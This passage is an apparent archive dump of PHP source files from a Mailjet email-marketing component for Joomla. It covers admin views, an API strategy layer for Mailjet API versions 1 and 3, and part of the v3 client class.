  function class_alias($orig, $alias) {
    eval('abstract class ' . $alias . ' extends ' . $orig . ' {}');
  }
}

if (!class_exists('JViewLegacy')) {
  class_alias('JView','JViewLegacy');
}

/**
 * HelloWorlds View
 */
class MailjetViewMailjet extends JViewLegacy
{
    /**
     * HelloWorlds view display method
     * @return void
     */
    function display($tpl = null)
    {
        JToolBarHelper::title (JText::_( 'COM_MAILJET_MAILJET_SETTINGS' ), 'logo.png' );
        JToolBarHelper::save('save');

        $model = $this->getModel('mailjet');

        if (count (JRequest::get ('post')))
        {
            $params = $model->getAsPost ();
        }
        else
        {
            $params = $model->getAsRecord ();
        }
        $this->assignRef ('params', $params);
        JFactory::getDocument()->addStyleSheet(JURI::base(). "components/com_mailjet/styles.css");
        $this->sidebar = JHtmlSidebar::render();
        parent::display ($tpl);
    }
}
com_mailjet/views/contacts/tmpl/default.php000060400000002030152455305320015106 0ustar00<?php
/**
 * @author Mailjet SAS
 *
 * @copyright  Copyright (C) 2014 Mailjet SAS.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */
defined('_JEXEC') or die('Restricted access'); 

$lib_dir = __DIR__.'/../../../lib/';

require_once ($lib_dir.'config.php');
require_once ($lib_dir.'lib/Auth.php');
require_once ($lib_dir.'lib/mailjet-api-strategy.php');

$auth = new Auth();

$nextStepUrl = $auth->haveToken() ? 'contacts/lists' : 'reseller/signup';

//$address = "{$mailjetUrl}/{$nextStepUrl}?r={$resellerName}&show_menu=none&u=Joomla-3.0&f=amc";
$address = "https://".(($auth->getApiVersion == '0.1')?"www":(($auth->getApiVersion == 'REST')?"app":"www")).".mailjet.com/{$nextStepUrl}?r={$resellerName}&show_menu=none&u=Joomla-3.0&f=amc";

if ($auth->haveToken()) {
    $address .= "&t=" . $auth->getToken();  
}
?>

<div id="j-sidebar-container" class="span2">
	<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
    <iframe width="1000" height="1300" src="<?php echo $address; ?>">
</div>com_mailjet/views/contacts/view.html.php000060400000002416152455305320014433 0ustar00<?php
/**
 * @author Mailjet SAS
 *
 * @copyright  Copyright (C) 2014 Mailjet SAS.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */
// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import Joomla view library
jimport('joomla.application.component.view');

if (!function_exists('class_alias')) { // For php older then 5.3
  function class_alias($orig, $alias) {
    eval('abstract class ' . $alias . ' extends ' . $orig . ' {}');
  }
}

if (!class_exists('JViewLegacy')) {
  class_alias('JView','JViewLegacy');
}

if (!class_exists('JModelLegacy')) {
  class_alias('JModel','JModelLegacy');
}

$jversion = new JVersion;
$jshort = $jversion->getShortVersion();

$lang = JFactory::getLanguage();
$extension = 'com_mailjet';
$base_dir = JPATH_SITE;
$language_tag =  $lang->getTag();
$reload = true;
$lang->load($extension, $base_dir, $language_tag, $reload);

class MailjetViewContacts extends JViewLegacy
{
    /**
     * HelloWorlds view display method
     * @return void
     */
    function display($tpl = null)
    {
        JToolBarHelper::title (JText::_("COM_MAILJET_CONTACTS"), 'logo.png' );
        //JToolBarHelper::save ();
        
        $this->sidebar = JHtmlSidebar::render();

        parent::display ($tpl);
    }
}com_mailjet/lib/lib/mailjet-api-strategy.php000060400000047635152455305320015127 0ustar00<?php

/*
 * LICENSE BLOCK
 * 
 * This program is free software. It comes without any warranty, to the extent permitted by applicable law. You can redistribute it
 * and/or modify it under the terms of the Do What The Fuck You Want To Public License, Version 2, as published by Sam Hocevar. See
 * http://sam.zoy.org/wtfpl/COPYING for more details.
 * 
 */
 
defined('_JEXEC') or die('Restricted access');

/* Require the mailjet API libraries */
require_once (__DIR__ . '/api/mailjet-api-v1.php');
require_once (__DIR__ . '/api/mailjet-api-v3.php');
 
 /**
 * This is Api Strategy Interface
 * @author		Pavel Tashev  
 * @author		Mailjet
 * @link		http://www.mailjet.com/
 */
 
 # ============================================== Interface ============================================== #
 interface Mailjet_Api_Interface 
 {
	public function getSenders($params);
 	public function getContactLists($params);
 	public function addContact($params);
	public function removeContact($params);
	public function unsubContact($params);
	public function subContact($params);	
	public function getAuthToken($params);	
	public function validateEmail($email);
 }
 
 
 
 
 
 # ============================================== Strategy ============================================== #
 # Strategy ApiV1
 class Mailjet_Api_Strategy_V1 extends Mailjet_Api_V1 implements Mailjet_Api_Interface
 {
	/**
	 * Get full list of senders
	 * 
	 * @param (array) $param = array('limit', ...) 
	 * @return (object)
	 */
 	public function getSenders($params)
	{
		// Set input parameters
		$input = array();
		if(isset($params['limit'])) $input['limit'] = $params['limit'];

		// Get the list
		$response = $this->userSenderList()->senders;
					
		// Check if the list exists
		if(isset($response))
		{
			$senders = array();
			$senders['domain'] = array();
			$senders['email'] = array();
			
			foreach ($response as $sender)
			{
				if($sender->status == 'active')
				{
					if(substr($sender->email, 0, 2) == '*@') 
						$senders['domain'][] = substr($sender->email, 2, strlen($sender->email)); // This is domain
					else						
						$senders['email'][] = $sender->email; // This is email
				}
			}
			return $senders;
		}		
		
		return (object) array('Status' => 'ERROR');
	}
	
 	/**
	 * Get full list of contact lists
	 * 
	 * @param (array) $param = array('limit', ...) 
	 * @return (object)
	 */
 	public function getContactLists($params)
	{
		// Set input parameters
		$input = array();
		if(isset($params['limit'])) $input['limit'] = $params['limit'];
		
		// Get the list
		$response = $this->listsAll($input);

		// Check if the list exists
		if(isset($response->status) && $response->status == 'OK')
		{
			$lists = array();
			foreach ($response->lists as $list)
			{
				$lists[] = array(
					'value' 		=> $list->id,
					'label' 		=> $list->label,
					'subscribers'	=> $list->subscribers,
				);
			}
			return $lists;
		}		
		
		return (object) array('Status' => 'ERROR');
	}
	
	/**
	 * Add a contact to a contact list with ID = ListID
	 * 
	 * @param (array) $param = array('Email', 'ListID', ...) 
	 * @return (object)
	 */
 	public function addContact($params)
	{
		// Check if the input data is OK
		if(!is_numeric($params['ListID']) || !$this->validateEmail($params['Email']))
			return (object) array('Status' => 'ERROR');	
		
		// Add the contact
		$response = $this->listsAddContact(array(
			'method'	=> 'POST',
			'contact'	=> $params['Email'],
			'id'		=> $params['ListID']
		));
				
		// Check if the contact is added 
		if($response)
			return (object) array('Status' => 'OK');
		
		return (object) array('Status' => 'ERROR');
	}
	
	/**
	 * Remove a contact from a contact list with ID = ListID
	 * 
	 * @param (array) $param = array('Email', 'ListID', ...) 
	 * @return (object)
	 */
	public function removeContact($params)
	{
		// Check if the input data is OK
		if(!is_numeric($params['ListID']) || !$this->validateEmail($params['Email']))
			return (object) array('Status' => 'ERROR');	
		
		// Unsubscribe the contact
		$response = $this->listsRemoveContact(array(
			'method'	=> 'POST',
			'contact'	=> $params['Email'],
			'id'		=> $params['ListID']
		));
		
		// Check if the contact is added 
		if($response)
			return (object) array('Status' => 'OK');
		
		return (object) array('Status' => 'OK');
	}
	
	/**
	 * Unsubscribe a contact from a contact list with ID = ListID
	 * 
	 * @param (array) $param = array('Email', 'ListID', ...) 
	 * @return (object)
	*/
	public function unsubContact($params)
	{
		// Check if the input data is OK
		if(!is_numeric($params['ListID']) || !$this->validateEmail($params['Email']))
			return (object) array('Status' => 'ERROR');	
			
		// Unsubscribe the contact
		$response = $this->listsUnsubContact(array(
			'method'	=> 'POST',
			'contact'	=> $params['Email'],
			'id'		=> $params['ListID']
		));
		
		// Check if the contact is added 
		if($response)
			return (object) array('Status' => 'OK');
		
		return (object) array('Status' => 'OK');
	}
	
	/**
	 * Subscribe a contact to a contact list with ID = ListID
	 *
	 * @param (array) $param = array('Email', 'ListID', ...) 
	 * @return (object)
	 */
	public function subContact($params)
	{
		// Check if the input data is OK
		if(!is_numeric($params['ListID']) || !$this->validateEmail($params['Email']))
			return (object) array('Status' => 'ERROR');	
		
		// Subscribe the user
		$response = $this->listsAddContact(array(
			'method'	=> 'POST',
			'id'		=> $params['ListID'],
			'contact'	=> $params['Email'],
			'force'		=> 1,
		));
		
		// Check if the contact is added 
		if($response)
			return (object) array('Status' => 'OK');
		
		return (object) array('Status' => 'OK');
	}
	
	/**
	 * Get the authentication token for the iframes
	 * 
	 * @param (array) $param = array('APIKey', 'SecretKey', ...) 
	 * @return (object)
	*/
	public function getAuthToken($params)
	{		
		// Check if the input data is OK
		if(strlen(trim($params['APIKey'])) == 0 || strlen(trim($params['SecretKey'])) == 0)
			return (object) array('Status' => 'ERROR');	
			
	 	if (isset($params['MailjetToken']))
		{
			$op = json_decode($params['MailjetToken']);
			if ($op->timestamp > time() - 3600)
				return $op->token;
		}

		// Get the culture
		if(isset($lang) && $lang != null)
		{
			$locale = substr($lang->getTag(), 0, 2);
			if (!in_array($locale, array('en', 'fr', 'es', 'de')))
				$locale = 'en';
		} else {
			$locale = 'en';
		}

		// Define some required data
		$url = $this->apiUrl.'/apiKeyauthenticate?output=json';
		$data = array(
			'allowed_access[0]' => 'stats',
			'allowed_access[1]' => 'contacts',
			'allowed_access[2]' => 'campaigns',
			'lang' 				=> $locale,
			'default_page'		=> 'campaigns',
			'type' 				=> 'page',
			'apikey' 			=> $params['APIKey']
		);
		
		// Execute POST request
		$curl = curl_init();
		curl_setopt_array($curl, array(
		    CURLOPT_RETURNTRANSFER => 1,
		    CURLOPT_URL => $url,
		    CURLOPT_USERAGENT => 'Codular Sample cURL Request',
		    CURLOPT_POST => 1,
		    CURLOPT_POSTFIELDS => $data
		));
		curl_setopt($curl, CURLOPT_HTTPHEADER, array(
    		"Authorization: Basic ".base64_encode($params['APIKey'] . ':' . $params['SecretKey'])
    	));
		$result = curl_exec($curl);
		$resp = json_decode($result);
		
		if (is_object($resp))
			if ($resp->status == 'OK')
				return $resp->token;
		
		return (object) array('Status' => 'ERROR'); 
	}	

	/**
	 * Validate if $email is real email
	 * 
	 * @param (string) $email 
	 * @return (boolean) TRUE|FALSE 
	 */
	public function validateEmail($email) {
		return (preg_match("/(@.*@)|(\.\.)|(@\.)|(\.@)|(^\.)/", $email) || !preg_match("/^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$/", $email)) ? FALSE : TRUE;
	}
 }


 # Strategy ApiV3
 class Mailjet_Api_Strategy_V3 extends Mailjet_Api_V3 implements Mailjet_Api_Interface
 {
	/**
	 * Get full list of senders
	 * 
	 * @param (array) $param = array('limit', ...) 
	 * @return (object)
	 */
 	public function getSenders($params)
	{
		// Set input parameters
		$input = array();
		if(isset($params['limit'])) $input['limit'] = $params['limit'];

		// Get the list
		$response = $this->sender($input);

		// Check if the list exists
		if(isset($response->Data))
		{
			$senders = array();
			$senders['domain'] = array();
			$senders['email'] = array();
			
			foreach ($response->Data as $sender)
			{
				if($sender->Status == 'Active')
				{
					if(substr($sender->Email, 0, 2) == '*@') 
						$senders['domain'][] = substr($sender->Email, 2, strlen($sender->Email)); // This is domain
					else						
						$senders['email'][] = $sender->Email; // This is email
				}
			}
			return $senders;
		}		
		
		return (object) array('Status' => 'ERROR');
	}
	
 	/**
	 * Get full list of contact lists
	 * 
	 * @param (array) $param = array('limit', ...) 
	 * @return (object)
	 */
 	public function getContactLists($params)
	{
		// Set input parameters
		$input = array(
			'akid'	=> $this->_akid
		);
		if(isset($params['limit'])) $input['limit'] = $params['limit'];
		
		// Get the list
		$response = $this->liststatistics($input);

		// Check if the list exists
		if(isset($response->Data))
		{
			$lists = array();
			foreach ($response->Data as $list)
			{
				$lists[] = array(
					'value' 		=> $list->ID,
					'label' 		=> $list->Name,
					'subscribers'	=> $list->SubscriberCount,
				);
			}
			return $lists;
		}		
		
		return (object) array('Status' => 'ERROR');
	}
	
	/**
	 * Add a contact to a contact list with ID = ListID
	 * 
	 * @param (array) $param = array('Email', 'ListID', ...) 
	 * @return (object)
	 */
 	public function addContact($params)
	{
		// Check if the input data is OK
		if(!is_numeric($params['ListID']) || !$this->validateEmail($params['Email']))
			return (object) array('Status' => 'ERROR');	
		
		// Add the contact
		$result = $this->manycontacts(array(
			'method'			=> 'POST',
			'Action'			=> 'Add',
			'Addresses'			=> array($params['Email']),
			'ListID'			=> $params['ListID'],
		));

		// Check if any error
		if(isset($result->Data['0']->Errors->Items)) {
			if( strpos($result->Data['0']->Errors->Items[0]->ErrorMessage, 'duplicate') !== FALSE )
				return (object) array('Status' => 'DUPLICATE');
			else
				return (object) array('Status' => 'ERROR');	
		}		
		
		$this->subContact($params);
		return (object) array('Status' => 'OK');
	}
	
	/**
	 * Remove a contact from a contact list with ID = ListID
	 * 
	 * @param (array) $param = array('Email', 'ListID', ...) 
	 * @return (object)
	 */
	public function removeContact($params)
	{
		// Check if the input data is OK
		if(!is_numeric($params['ListID']) || !$this->validateEmail($params['Email']))
			return (object) array('Status' => 'ERROR');	
			
		// Get the contact	
		$result = $this->listrecipient(array(
			'akid'          => $this->_akid,
			'method'        => 'GET',
			'ListID'		=> $params['ListID'],
			'ContactEmail'  => $params['Email']
        ));
        if($result->Count > 0) 
        {
            foreach($result->Data as $contact) 
			{
				// Remove the contact
				$response = $this->listrecipient(array(
					'akid'				=> $this->_akid,
					'method'			=> 'delete',
					'ID'				=> $contact->ID
				));
            }
			
			// Check if the unsubscribe is done correctly
			if(isset($response->Data[0]->ID))
				return (object) array('Status' => 'OK');
        }

		return (object) array('Status' => 'ERROR');
	}
	 
	/**
	 * Unsubscribe a contact from a contact list with ID = ListID
	 * 
	 * @param (array) $param = array('Email', 'ListID', ...) 
	 * @return (object)
	*/
	public function unsubContact($params)
	{
		// Check if the input data is OK
		if(!is_numeric($params['ListID']) || !$this->validateEmail($params['Email']))
			return (object) array('Status' => 'ERROR');	
		
		// Get the contact	
		$result = $this->listrecipient(array(
			'akid'          => $this->_akid,
			'method'        => 'GET',
			'ListID'		=> $params['ListID'],
			'ContactEmail'  => $params['Email']
        ));
        if($result->Count > 0) 
        {
            foreach($result->Data as $contact) 
            {
                if($contact->IsUnsubscribed !== TRUE)
                {
                      $response = $this->listrecipient(array(
                            'akid'    			=> $this->_akid,
                            'method'   			=> 'PUT',
                            'ID'       			=> $contact->ID,
                            'IsUnsubscribed' 	=> 'true',
                            'UnsubscribedAt' 	=> date("Y-m-d\TH:i:s\Z", time()),
                      ));
                } 
            }
			
			// Check if the unsubscribe is done correctly
			if(isset($response->Data[0]->ID))
				return (object) array('Status' => 'OK');
        }
		
		return (object) array('Status' => 'ERROR');
	}
	
	/**
	 * Subscribe a contact to a contact list with ID = ListID
	 *
	 * @param (array) $param = array('Email', 'ListID', ...) 
	 * @return (object)
	 */
	public function subContact($params)
	{
		// Check if the input data is OK
		if(!is_numeric($params['ListID']) || !$this->validateEmail($params['Email']))
			return (object) array('Status' => 'ERROR');	
		
		// Get the contact	
		$result = $this->listrecipient(array(
			'akid'          => $this->_akid,
			'method'        => 'GET',
			'ListID'		=> $params['ListID'],
			'ContactEmail'  => $params['Email']
        ));		
		
        if($result->Count > 0) 
        {
            foreach($result->Data as $contact) 
            {
                if($contact->IsUnsubscribed === TRUE)
                {
	                  $response = $this->listrecipient(array(
	                        'akid'    			=> $this->_akid,
	                        'method'   			=> 'PUT',
	                        'ID'       			=> $contact->ID,
	                        'IsUnsubscribed' 	=> 'false',	                        
	                  ));
                } 
            }
			
			// Check if the subscribe is done correctly
			if(isset($response->Data[0]->ID))
				return (object) array('Status' => 'OK');
        }
		
		return (object) array('Status' => 'ERROR');
	}
	
	/**
	 * Get the authentication token for the iframes
	 * 
	 * @param (array) $param = array('APIKey', 'SecretKey', ...) 
	 * @return (object)
	*/
	public function getAuthToken($params)
	{
		// Check if the input data is OK
		if(strlen(trim($params['APIKey'])) == 0 || strlen(trim($params['SecretKey'])) == 0)
			return (object) array('Status' => 'ERROR');	

		// Get the ID of the Api Key
	 	$api_key_response = $this->apikey(array(
			'method' => 'GET',
			'APIKey' => $params['APIKey']
		));

		// Check if the response contains data
		if(!isset($api_key_response->Data[0]->ID))
			return (object) array('Status' => 'ERROR');

		// Get token
		$response = $this->apitoken(array(
			'AllowedAccess' =>  'campaigns,contacts,reports,stats,preferences,pricing,account',
			'method' 		=> 'POST',			
			'APIKeyID' 		=> $api_key_response->Data[0]->ID,
			'TokenType' 	=> 'iframe',			
			'CatchedIp'  	=> $_SERVER['REMOTE_ADDR'],
			'log_once' 		=> TRUE,
			'IsActive'		=> TRUE
		));	

	 	// Get and return the token
		if(isset($response->Data) && count($response->Data) > 0)
			return $response->Data[0]->Token;
		
		return (object) array('Status' => 'ERROR');
	}	
	
	/**
	 * Validate if $email is real email
	 * 
	 * @param (string) $email 
	 * @return (boolean) TRUE|FALSE 
	 */
	public function validateEmail($email) {
		return (preg_match("/(@.*@)|(\.\.)|(@\.)|(\.@)|(^\.)/", $email) || !preg_match("/^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$/", $email)) ? FALSE : TRUE;
	}
 }
 
 
 
 
 
 # ============================================== Context ============================================== #
 class Mailjet_Api
 {
 	private $context;
	public $version; 
	public $apiUrl;
	
	public function __construct($mailjet_username, $mailjet_password)
  	{
  		# Check the type of the user and set the corresponding Context/Strategy
  		// Set API V3 context and get the user and check if it's V3   		
		$this->setContext(new Mailjet_Api_Strategy_V3($mailjet_username, $mailjet_password));
		//$response = $this->context->getContactLists(array('limit' => 1));
		$response = $this->context->getSenders(array('limit' => 1));
		if(isset($response->Status) && $response->Status == 'ERROR')
		{
			// Set API V1 context and get the contact lists of this user and check if it's V1
			$this->setContext(new Mailjet_Api_Strategy_V1($mailjet_username, $mailjet_password));	
			$response = $this->context->getSenders(array('limit' => 1));
			if(isset($response->Status) && $response->Status == 'ERROR')
			{				
				$this->clearContext();			
			} 
			else {			
				// Get the version and the apiUrl of the API
				$this->version = $this->context->version;
				$this->apiUrl = 'in.mailjet.com';
			}
		} else {
			// Get the version and the apiUrl of the API
			$this->version = $this->context->getVersion();
			$this->apiUrl = 'in-v3.mailjet.com';
		}		
	}
	
	/**
	 * Set the context of the Api - V1 or V3 
	 *
     * @param Mailjet_Api_Interface $context
     * @return void
     */
	private function setContext(Mailjet_Api_Interface $context)
    {
        $this->context = $context;
    }
	
	/**
	 * Clear the context
	 *
     * @param void
     * @return void
     */
	private function clearContext()
    {
        $this->context = FALSE;
    }
	
	
	/**
	 * Get full list of senders
	 * 
	 * @param (array) $param = array('limit', ...) 
	 * @return (object)
	 */
	public function getSenders($params)
	{	
		// Check if we have context, if no, return error
        if($this->context === FALSE)
			return (object) array('Status' => 'ERROR');
			
		return $this->context->getSenders($params);
	}	
	
	/**
	 * Get full list of contact lists
	 * 
	 * @param (array) $param = array('limit', ...) 
	 * @return (object)
	 */
	public function getContactLists($params)
	{	
		// Check if we have context, if no, return error
        if($this->context === FALSE)
			return (object) array('Status' => 'ERROR');
			
		return $this->context->getContactLists($params);
	}
	
	/**
	 * Add a contact to a contact list with ID = ListID
	 * 
	 * @param (array) $param = array('Email', 'ListID', ...) 
	 * @return (object)
	 */
	 public function addContact($params)
	 {
	 	// Check if we have context, if no, return error
        if($this->context === FALSE)
			return (object) array('Status' => 'ERROR');
		
	 	return $this->context->addContact($params);
	 }
	 
	 /**
	 * Remove a contact from a contact list with ID = ListID
	 * 
	 * @param (array) $param = array('Email', 'ListID', ...) 
	 * @return (object)
	 */
	 public function removeContact($params)
	 {
	 	// Check if we have context, if no, return error
        if($this->context === FALSE)
			return (object) array('Status' => 'ERROR');
		
	 	return $this->context->removeContact($params);
	 }
	 
	 /**
	 * Unsubscribe a contact from a contact list with ID = ListID
	 * 
	 * @param (array) $param = array('Email', 'ListID', ...) 
	 * @return (object)
	*/
	  public function unsubContact($params)
	  {
	  	// Check if we have context, if no, return error
        if($this->context === FALSE)
			return (object) array('Status' => 'ERROR');
		
	  	return $this->context->unsubContact($params);
	  }
	  
	 /**
	 * Subscribe a contact to a contact list with ID = ListID
	 *
	 * @param (array) $param = array('Email', 'ListID', ...) 
	 * @return (object)
	 */
	  public function subContact($params)
	  {
	  	// Check if we have context, if no, return error
        if($this->context === FALSE)
			return (object) array('Status' => 'ERROR');
		
	  	return $this->context->subContact($params);
	  }
	  
	  /**
		* Get the authentication token for the iframes
		* 
		* @param (array) $param = array('APIKey', 'SecretKey', ...) 
		* @return (object)
	  */
	  public function getAuthToken($params)
	  {
	  	// Check if we have context, if no, return error
        if($this->context === FALSE)
			return (object) array('Status' => 'ERROR');
		
	  	return $this->context->getAuthToken($params);
	  }	
	  
	  /**
	  * Validate if $email is real email
	  * 
	  * @param (string) $email 
	  * @return (boolean) TRUE|FALSE 
	  */
	  public function validateEmail($email) {
	  	// Check if we have context, if no, return error
        if($this->context === FALSE)
			return (object) array('Status' => 'ERROR');
		
		return $this->context->validateEmail($email);
	  }
 }
 com_mailjet/lib/lib/api/mailjet-api-v3.php000060400000067407152455305320014365 0ustar00<?php

/**
 * Mailjet Public API / The real-time Cloud Emailing platform
 *
 * Connect your Apps and Make our product yours with our powerful API
 * http://www.mailjet.com/ Mailjet SAS Website
 *
 * @package		API v0.3
 * @author		David Coullet
 * @author		Mailjet Dev team
 * @copyright	Copyright (c) 2012-2013, Mailjet SAS, http://www.mailjet.com/Terms-of-use.htm
 * @file
 */

// ---------------------------------------------------------------------

/**
 * Mailjet Public API Main Class
 *
 * This class enables you to connect your Apps and use our powerful API.
 * You can use the 'metadata' call to retrieve a list of each object available
 * or implemented a live discovery.
 * http://www.mailjet.com/docs/api
 *
 * updated on 2013-09-03
 *
 * @class		MailjetApi
 * @author		David Coullet
 * @author		Mailjet Dev team
 * @version		0.1
 */
class Mailjet_Api_V3
{
    /**
     * Mailjet API Key to use.
     * You can edit directly and add here your Mailjet infos
     *
     * @access	private
     * @var		string $_apiKey
     */
    private $_apiKey = '';

    /**
     * Mailjet API Secret Key to use.
     * You can edit directly and add here your Mailjet infos
     *
     * @access	private
     * @var		string $_secretKey
     */
    private $_secretKey = '';

    /**
     * Seconds before updating the cache object
     * If set to 0, Object caching will be disabled
     *
     * @access	private
     * @var		integer $_cache
     */
    private $_cache = 0;//600;

// ---------------------------------------------------------------------

    /**
     * API URL
     *
     * @access	private
     * @var		string
     */
    private $_apiUrl = 'api.mailjet.com/v3/';

    /**
     * API version to use
     *
     * @access	private
     * @var		string
     */
    private $_version = 'REST';

    /**
     * Debug internal flag
     *
     * @access	private
     * @var		boolean
     */
    private $_debug = false;

    /**
     * Debug Label
     *
     * @access	private
     * @var		string
     */
    private $_debug_info = '';

    /**
     * Debug buffer copy
     *
     * @access	private
     * @var		string
     */
    private $_buffer = '';

    /**
     * Debug method copy
     *
     * @access	private
     * @var		string
     */
    private $_method = '';

    /**
     * Debug by cURL
     *
     * @access	private
     * @var		array
     */
    private $_info = NULL;

    /**
     * cURL handle resource
     *
     * @access	private
     * @var		resource
     */
    private $_curl_handle = NULL;

    /**
     * 
     * @var Boolean
     */
    protected $_log_allowed = false;
    
    /**
     * 
     * @var Boolean
     */
    protected $_log = false;
    
    /**
     * 
     * @var Boolean
     */
    protected $_log_once = false;
    
    /**
     *
     * @var Boolean
     */
    protected $_extra_err = false;
    
    /**
     * 
     * @var String
     */
    protected $_log_path = 'logs/api/current.log';
    
    /**
     * Singleton pattern : Current instance
     *
     * @access	private
     * @var		resource
     */
    private static $_instance = NULL;

    /**
     * Constructor
     *
     * Set $_apiKey and $_secretKey if provided & Update $_apiUrl with protocol
     *
     * @access	public
     * @uses	MailjetApi::$_apiKey
     * @uses	MailjetApi::$_secretKey
     * @param string  $_apiKey    Mailjet API Key
     * @param string  $_secretKey Mailjet API Secret Key
     * @param boolean $secure     TRUE to secure the transaction, FALSE otherwise
     */
    public function __construct($apiKey = NULL, $secretKey = NULL, $secure = FALSE)
    {
        if (isset($apiKey))
            $this->_apiKey = $apiKey;
        if (isset($secretKey))
            $this->_secretKey = $secretKey;
        $this->_apiUrl = 'http://'.$this->_apiUrl.$this->_version.'/';
        $this->secure($secure);
        
        $this->_log_allowed = get_cfg_var('MAILJET_ENVIRONMENT') == 'dev';
        
        $this->_fixLogPath();
    }

    /**
     * Singleton pattern :
     * Get the instance of the object if it already exists
     * or create a new one.
     *
     * @access	public
     * @uses	MailjetApi::$_instance
     */
    public static function getInstance()
    {
        if (!(self::$_instance instanceof self))
            self::$_instance = new self();

        return self::$_instance;
    }

    /**
     * Destructor
     *
     * Close the cURL handle resource
     *
     * @access	public
     * @uses	MailjetApi::$_curl_handle
     */
    public function __destruct()
    {
        if(!is_null($this->_curl_handle))
            curl_close($this->_curl_handle);
        $this->_curl_handle = NULL;
    }

    /**
     * Set new Api Key and Secret Key
     *
     * @access	public
     * @uses	MailjetApi::$_apiKey
     * @uses	MailjetApi::$_secretKey
     * @param string $apiKey    Mailjet API Key
     * @param string $secretKey Mailjet API Secret Key
     */
    public function setKeys($apiKey, $secretKey)
    {
        $this->_apiKey = $apiKey;
        $this->_secretKey = $secretKey;
    }

    /**
     * Set the seconds before updating the cache object
     * If set to 0, Object caching will be disabled
     *
     * @access	public
     * @uses	MailjetApi::$_cache
     * @param integer $cache Cache to set in seconds
     */
    public function setCache($cache)
    {
        $this->_cache = $cache;
    }

    /**
     * Get the seconds before updating the cache object
     * If set to 0, Object caching will be disabled
     *
     * @access	public
     * @uses	MailjetApi::$_cache
     *
     * @return integer Cache in seconds
     */
    public function getCache()
    {
        return ($this->_cache);
    }

    /**
     * 
     * @param Boolean $flag
     * @return mailjetapi
     */
    public function setLog($flag)
    {
    	$this->_log = (boolean) $flag;
    	return $this;
    }
    
    /**
     * 
     * @return boolean
     */
    public function getLog()
    {
    	return $this->_log;
    }
    
    /**
     * 
     * @param Boolean $flag
     * @return mailjetapi
     */
    public function setLogOnce($flag)
    {
    	$this->_log_once = (boolean) $flag;
    	return $this;
    }
    
    /**
     * 
     * @return boolean
     */
    public function getLogOnce()
    {
    	return $this->_log_once;
    }
    
	/**
     * 
     * @return string
     */
    public function getVersion()
    {
    	return $this->_version;
    }
	
    /**
     *
     * @param Boolean $flag
     * @return mailjetapi
     */
    public function setExtraError($flag)
    {
    	$this->_extra_err = (boolean) $flag;
    	return $this;
    }
    
    /**
     *
     * @return boolean
     */
    public function getExtraError()
    {
    	return $this->_extra_err;
    }

    /**
     * Enable log only if MAILJET_ENVIRONMENT == 'dev'
     * @return boolean
     */
    public function logAllowed()
    {
    	return $this->_log_allowed;
    }
    
    /**
     * 
     * @param String $path
     * @return mailjetapi
     */
    public function setLogPath($path)
    {
    	if ($real_path = realpath($path)) {
    		$this->_log_path = $real_path;
    	}
    	return $this;
    }
    
    /**
     * 
     * @return String
     */
    public function getLogPath()
    {
    	return $this->_log_path;
    }
    
    /**
     * 
     * @return mailjetapi
     */
    protected function _fixLogPath()
    {
    	//fix log path
		if(!defined('SYSTEMPATH')) define('SYSTEMPATH', dirname(__FILE__).'/../');
    	$this->_log_path = realpath(SYSTEMPATH.$this->_log_path);
    	$logFilename = 'daily-'.date('Ymd').'.log';
    	$this->_log_path = str_replace('current.log', $logFilename, $this->_log_path);
		return $this;
    }
    
    /**
     * Secure or not the transaction through https
     *
     * @access	public
     * @uses	MailjetApi::$_apiUrl
     * @param boolean $secure TRUE to secure the transaction, FALSE otherwise
     */
    public function secure($secure = TRUE)
    {
        $protocol = 'http';
        if ($secure)
            $protocol = 'https';
        $this->_apiUrl = preg_replace('/http(s)?:\/\//', $protocol.'://', $this->_apiUrl);
    }

    /**
     * Make the magic call ;)
     *
     * Check for some arguments and order them before sending the request.
     * If '_debug_info' is found, some data are stored and can be retrieved
     * with a call to MailjetApi::getDebugInfo().
     *
     * @access	public
     * @uses	MailjetApi::$_debug
     * @uses	MailjetApi::$_debug_info
     * @uses	MailjetApi::sendRequest() to send the request
     * @param string $object Method to call
     * @param array  $args   Array of parameters
     *
     * @return string JSON string by default (format can be change with the 'format' parameter)
     */
    public function __call($object, $args)
    {
        if (sizeof($args) > 0)
            $params = $args[0];
        else
            $params = array();

        if (isset($params['method'])) {
            $method = strtoupper($params['method']);
            unset($params['method']);
        }
        if (!isset($method) || !in_array($method, array('GET', 'POST', 'PUT', 'DELETE', 'JSON')))
            $method = 'GET';

        if (isset($params['debug_info'])) {
            $this->_debug = TRUE;
            $this->_debug_info = $params['debug_info'];
            unset($params['debug_info']);
        }
        
        /**
         * Logging
         */
        if (isset($params['log'])) {
        	$this->setLog($params['log']);
        	unset($params['log']);
        }
        
        if (isset($params['log_once'])) {
        	$this->setLogOnce($params['log_once']);
        	unset($params['log_once']);
        }
        
        if (isset($params['log_path'])) {
        	$this->setLogPath($params['log_path']);
        	unset($params['log_path']);
        }
        
        // Extra Error
        if (isset($params['extra_err'])) {
        	$this->setExtraError($params['extra_err']);
        	unset($params['extra_err']);
        }
        
        /**
         * Fallback logging when debug is true
         */
        if ($this->_debug) {
        	$this->setLogOnce(true);
        }

        return (json_decode($this->sendRequest($object, $params, $method)));
    }

    /**
     * Send Request
     *
     * Send the request to the Mailjet API server and get back the result
     * Basically, setup and execute the curl process.
     * Cache management added
     *
     * @access	private
     * @uses	MailjetApi::$_info
     * @uses	MailjetApi::$_debug
     * @uses	MailjetApi::$_buffer
     * @uses	MailjetApi::$_method
     * @uses	MailjetApi::$_apiKey
     * @uses	MailjetApi::$_secretKey
     * @uses	MailjetApi::$_curl_handle
     * @uses	MailjetApi::buildURL() to build the full Url for the request and update the list of parameters accordingly
     * @param string $object Object or collection of resources you want to access
     * @param array  $params Additional parameters for the request
     * @param string $method POST:	Create a resource
     * 							GET:	Read one or multiple resources
     * 							PUT:	Update one or multiple resources
     * 							DELETE:	Delete one or multiple resources
     *
     * @return string the result of the request
     */
    private function sendRequest($object, $params, $method)
    {

    	// Log if this is a JSON call with an ID inside params
    	$is_json_put = (isset($params['ID']) && !empty($params['ID']));
    
        list($url, $params) = $this->buildURL($object, $params, $method);

